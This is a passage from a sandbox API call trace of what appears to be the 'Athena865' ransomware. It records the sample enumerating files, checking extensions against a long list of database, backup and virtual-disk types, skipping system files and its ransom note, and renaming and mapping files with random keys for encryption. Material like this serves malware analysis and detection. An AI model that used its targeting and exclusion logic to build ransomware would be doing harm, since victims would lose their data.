(lpString="vpd") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0064.628] lstrlenW (lpString="vvv") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0064.628] lstrlenW (lpString="wdb") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0064.628] lstrlenW (lpString="wmdb") returned 4 [0064.628] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0064.628] lstrlenW (lpString="wrk") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0064.628] lstrlenW (lpString="xdb") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0064.628] lstrlenW (lpString="xld") returned 3 [0064.628] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0064.628] lstrlenW (lpString="xmlff") returned 5 [0064.628] lstrcmpiW (lpString1="2.dll", lpString2="xmlff") returned -1 [0064.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\wab32.dll.Athena865") returned 56 [0064.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\wab32.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\wab32.dll.athena865"), dwFlags=0x1) returned 1 [0064.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\wab32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.629] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=886784) returned 1 [0064.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.630] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.630] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.630] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8b00, lpName=0x0) returned 0x17c [0064.632] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8b00) returned 0x2d50000 [0064.669] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.670] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.670] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.670] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0064.678] CloseHandle (hObject=0x17c) returned 1 [0064.678] CloseHandle (hObject=0x154) returned 1 [0064.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2=".") returned 1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2="..") returned 1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2="windows") returned -1 [0064.682] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootmgr") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="temp") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="pagefile.sys") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="boot") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="ids.txt") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntuser.dat") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="perflogs") returned 1 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2="MSBuild") returned 1 [0064.683] lstrlenW (lpString="wab32res.dll") returned 12 [0064.683] lstrcpyW (in: lpString1=0x241e892, lpString2="wab32res.dll" | out: lpString1="wab32res.dll") returned="wab32res.dll" [0064.683] lstrlenW (lpString="wab32res.dll") returned 12 [0064.683] lstrlenW (lpString="Athena865") returned 9 [0064.683] lstrcmpiW (lpString1="32res.dll", lpString2="Athena865") returned -1 [0064.683] lstrlenW (lpString=".dll") returned 4 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2=".dll") returned 1 [0064.683] lstrlenW (lpString=".lnk") returned 4 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2=".lnk") returned 1 [0064.683] lstrlenW (lpString=".ini") returned 4 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2=".ini") returned 1 [0064.683] lstrlenW (lpString=".sys") returned 4 [0064.683] lstrcmpiW (lpString1="wab32res.dll", lpString2=".sys") returned 1 [0064.683] lstrlenW (lpString="wab32res.dll") returned 12 [0064.683] lstrlenW (lpString="bak") returned 3 [0064.683] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0064.683] lstrlenW (lpString="ba_") returned 3 [0064.683] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0064.683] lstrlenW (lpString="dbb") returned 3 [0064.683] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0064.683] lstrlenW (lpString="vmdk") returned 4 [0064.683] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0064.683] lstrlenW (lpString="rar") returned 3 [0064.683] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0064.683] lstrlenW (lpString="zip") returned 3 [0064.683] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0064.684] lstrlenW (lpString="tgz") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0064.684] lstrlenW (lpString="vbox") returned 4 [0064.684] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0064.684] lstrlenW (lpString="vdi") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0064.684] lstrlenW (lpString="vhd") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0064.684] lstrlenW (lpString="vhdx") returned 4 [0064.684] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0064.684] lstrlenW (lpString="avhd") returned 4 [0064.684] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0064.684] lstrlenW (lpString="db") returned 2 [0064.684] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0064.684] lstrlenW (lpString="db2") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0064.684] lstrlenW (lpString="db3") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0064.684] lstrlenW (lpString="dbf") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0064.684] lstrlenW (lpString="mdf") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0064.684] lstrlenW (lpString="mdb") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0064.684] lstrlenW (lpString="sql") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0064.684] lstrlenW (lpString="sqlite") returned 6 [0064.684] lstrcmpiW (lpString1="es.dll", lpString2="sqlite") returned -1 [0064.684] lstrlenW (lpString="sqlite3") returned 7 [0064.684] lstrcmpiW (lpString1="res.dll", lpString2="sqlite3") returned -1 [0064.684] lstrlenW (lpString="sqlitedb") returned 8 [0064.684] lstrcmpiW (lpString1="2res.dll", lpString2="sqlitedb") returned -1 [0064.684] lstrlenW (lpString="xml") returned 3 [0064.684] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0064.685] lstrlenW (lpString="$er") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0064.685] lstrlenW (lpString="4dd") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0064.685] lstrlenW (lpString="4dl") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0064.685] lstrlenW (lpString="^^^") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0064.685] lstrlenW (lpString="abs") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0064.685] lstrlenW (lpString="abx") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0064.685] lstrlenW (lpString="accdb") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0064.685] lstrlenW (lpString="accdc") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0064.685] lstrlenW (lpString="accde") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0064.685] lstrlenW (lpString="accdr") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0064.685] lstrlenW (lpString="accdt") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0064.685] lstrlenW (lpString="accdw") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0064.685] lstrlenW (lpString="accft") returned 5 [0064.685] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0064.685] lstrlenW (lpString="adb") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.685] lstrlenW (lpString="adb") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.685] lstrlenW (lpString="ade") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0064.685] lstrlenW (lpString="adf") returned 3 [0064.685] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0064.686] lstrlenW (lpString="adn") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0064.686] lstrlenW (lpString="adp") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0064.686] lstrlenW (lpString="alf") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0064.686] lstrlenW (lpString="ask") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0064.686] lstrlenW (lpString="btr") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0064.686] lstrlenW (lpString="cat") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0064.686] lstrlenW (lpString="cdb") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0064.686] lstrlenW (lpString="ckp") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0064.686] lstrlenW (lpString="cma") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0064.686] lstrlenW (lpString="cpd") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0064.686] lstrlenW (lpString="dacpac") returned 6 [0064.686] lstrcmpiW (lpString1="es.dll", lpString2="dacpac") returned 1 [0064.686] lstrlenW (lpString="dad") returned 3 [0064.686] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0064.686] lstrlenW (lpString="dadiagrams") returned 10 [0064.686] lstrcmpiW (lpString1="b32res.dll", lpString2="dadiagrams") returned -1 [0064.686] lstrlenW (lpString="daschema") returned 8 [0064.686] lstrcmpiW (lpString1="2res.dll", lpString2="daschema") returned -1 [0064.686] lstrlenW (lpString="db-journal") returned 10 [0064.686] lstrcmpiW (lpString1="b32res.dll", lpString2="db-journal") returned -1 [0064.686] lstrlenW (lpString="db-shm") returned 6 [0064.686] lstrcmpiW (lpString1="es.dll", lpString2="db-shm") returned 1 [0064.687] lstrlenW (lpString="db-wal") returned 6 [0064.687] lstrcmpiW (lpString1="es.dll", lpString2="db-wal") returned 1 [0064.687] lstrlenW (lpString="dbc") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0064.687] lstrlenW (lpString="dbs") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0064.687] lstrlenW (lpString="dbt") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0064.687] lstrlenW (lpString="dbv") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0064.687] lstrlenW (lpString="dbx") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0064.687] lstrlenW (lpString="dcb") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0064.687] lstrlenW (lpString="dct") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0064.687] lstrlenW (lpString="dcx") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0064.687] lstrlenW (lpString="ddl") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0064.687] lstrlenW (lpString="dlis") returned 4 [0064.687] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0064.687] lstrlenW (lpString="dp1") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0064.687] lstrlenW (lpString="dqy") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0064.687] lstrlenW (lpString="dsk") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0064.687] lstrlenW (lpString="dsn") returned 3 [0064.687] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0064.687] lstrlenW (lpString="dtsx") returned 4 [0064.687] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0064.687] lstrlenW (lpString="dxl") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0064.688] lstrlenW (lpString="eco") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0064.688] lstrlenW (lpString="ecx") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0064.688] lstrlenW (lpString="edb") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0064.688] lstrlenW (lpString="epim") returned 4 [0064.688] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0064.688] lstrlenW (lpString="fcd") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0064.688] lstrlenW (lpString="fdb") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0064.688] lstrlenW (lpString="fic") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0064.688] lstrlenW (lpString="flexolibrary") returned 12 [0064.688] lstrlenW (lpString="fm5") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0064.688] lstrlenW (lpString="fmp") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0064.688] lstrlenW (lpString="fmp12") returned 5 [0064.688] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0064.688] lstrlenW (lpString="fmpsl") returned 5 [0064.688] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0064.688] lstrlenW (lpString="fol") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0064.688] lstrlenW (lpString="fp3") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0064.688] lstrlenW (lpString="fp4") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0064.688] lstrlenW (lpString="fp5") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0064.688] lstrlenW (lpString="fp7") returned 3 [0064.688] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0064.689] lstrlenW (lpString="fpt") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0064.689] lstrlenW (lpString="frm") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0064.689] lstrlenW (lpString="gdb") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.689] lstrlenW (lpString="gdb") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.689] lstrlenW (lpString="grdb") returned 4 [0064.689] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0064.689] lstrlenW (lpString="gwi") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0064.689] lstrlenW (lpString="hdb") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0064.689] lstrlenW (lpString="his") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0064.689] lstrlenW (lpString="ib") returned 2 [0064.689] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0064.689] lstrlenW (lpString="idb") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0064.689] lstrlenW (lpString="ihx") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0064.689] lstrlenW (lpString="itdb") returned 4 [0064.689] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0064.689] lstrlenW (lpString="itw") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0064.689] lstrlenW (lpString="jet") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0064.689] lstrlenW (lpString="jtx") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0064.689] lstrlenW (lpString="kdb") returned 3 [0064.689] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0064.689] lstrlenW (lpString="kexi") returned 4 [0064.690] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0064.690] lstrlenW (lpString="kexic") returned 5 [0064.690] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0064.690] lstrlenW (lpString="kexis") returned 5 [0064.690] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0064.690] lstrlenW (lpString="lgc") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0064.690] lstrlenW (lpString="lwx") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0064.690] lstrlenW (lpString="maf") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0064.690] lstrlenW (lpString="maq") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0064.690] lstrlenW (lpString="mar") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0064.690] lstrlenW (lpString="marshal") returned 7 [0064.690] lstrcmpiW (lpString1="res.dll", lpString2="marshal") returned 1 [0064.690] lstrlenW (lpString="mas") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0064.690] lstrlenW (lpString="mav") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0064.690] lstrlenW (lpString="maw") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0064.690] lstrlenW (lpString="mdbhtml") returned 7 [0064.690] lstrcmpiW (lpString1="res.dll", lpString2="mdbhtml") returned 1 [0064.690] lstrlenW (lpString="mdn") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0064.690] lstrlenW (lpString="mdt") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0064.690] lstrlenW (lpString="mfd") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0064.690] lstrlenW (lpString="mpd") returned 3 [0064.690] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0064.691] lstrlenW (lpString="mrg") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0064.691] lstrlenW (lpString="mud") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0064.691] lstrlenW (lpString="mwb") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0064.691] lstrlenW (lpString="myd") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0064.691] lstrlenW (lpString="ndf") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0064.691] lstrlenW (lpString="nnt") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0064.691] lstrlenW (lpString="nrmlib") returned 6 [0064.691] lstrcmpiW (lpString1="es.dll", lpString2="nrmlib") returned -1 [0064.691] lstrlenW (lpString="ns2") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0064.691] lstrlenW (lpString="ns3") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0064.691] lstrlenW (lpString="ns4") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0064.691] lstrlenW (lpString="nsf") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0064.691] lstrlenW (lpString="nv") returned 2 [0064.691] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0064.691] lstrlenW (lpString="nv2") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0064.691] lstrlenW (lpString="nwdb") returned 4 [0064.691] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0064.691] lstrlenW (lpString="nyf") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0064.691] lstrlenW (lpString="odb") returned 3 [0064.691] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.691] lstrlenW (lpString="odb") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.692] lstrlenW (lpString="oqy") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0064.692] lstrlenW (lpString="ora") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0064.692] lstrlenW (lpString="orx") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0064.692] lstrlenW (lpString="owc") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0064.692] lstrlenW (lpString="p96") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0064.692] lstrlenW (lpString="p97") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0064.692] lstrlenW (lpString="pan") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0064.692] lstrlenW (lpString="pdb") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0064.692] lstrlenW (lpString="pdm") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0064.692] lstrlenW (lpString="pnz") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0064.692] lstrlenW (lpString="qry") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0064.692] lstrlenW (lpString="qvd") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0064.692] lstrlenW (lpString="rbf") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0064.692] lstrlenW (lpString="rctd") returned 4 [0064.692] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0064.692] lstrlenW (lpString="rod") returned 3 [0064.692] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0064.692] lstrlenW (lpString="rodx") returned 4 [0064.693] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0064.693] lstrlenW (lpString="rpd") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0064.693] lstrlenW (lpString="rsd") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0064.693] lstrlenW (lpString="sas7bdat") returned 8 [0064.693] lstrcmpiW (lpString1="2res.dll", lpString2="sas7bdat") returned -1 [0064.693] lstrlenW (lpString="sbf") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0064.693] lstrlenW (lpString="scx") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0064.693] lstrlenW (lpString="sdb") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0064.693] lstrlenW (lpString="sdc") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0064.693] lstrlenW (lpString="sdf") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0064.693] lstrlenW (lpString="sis") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0064.693] lstrlenW (lpString="spq") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0064.693] lstrlenW (lpString="te") returned 2 [0064.693] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0064.693] lstrlenW (lpString="teacher") returned 7 [0064.693] lstrcmpiW (lpString1="res.dll", lpString2="teacher") returned -1 [0064.693] lstrlenW (lpString="tmd") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0064.693] lstrlenW (lpString="tps") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0064.693] lstrlenW (lpString="trc") returned 3 [0064.693] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.693] lstrlenW (lpString="trc") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.694] lstrlenW (lpString="trm") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0064.694] lstrlenW (lpString="udb") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 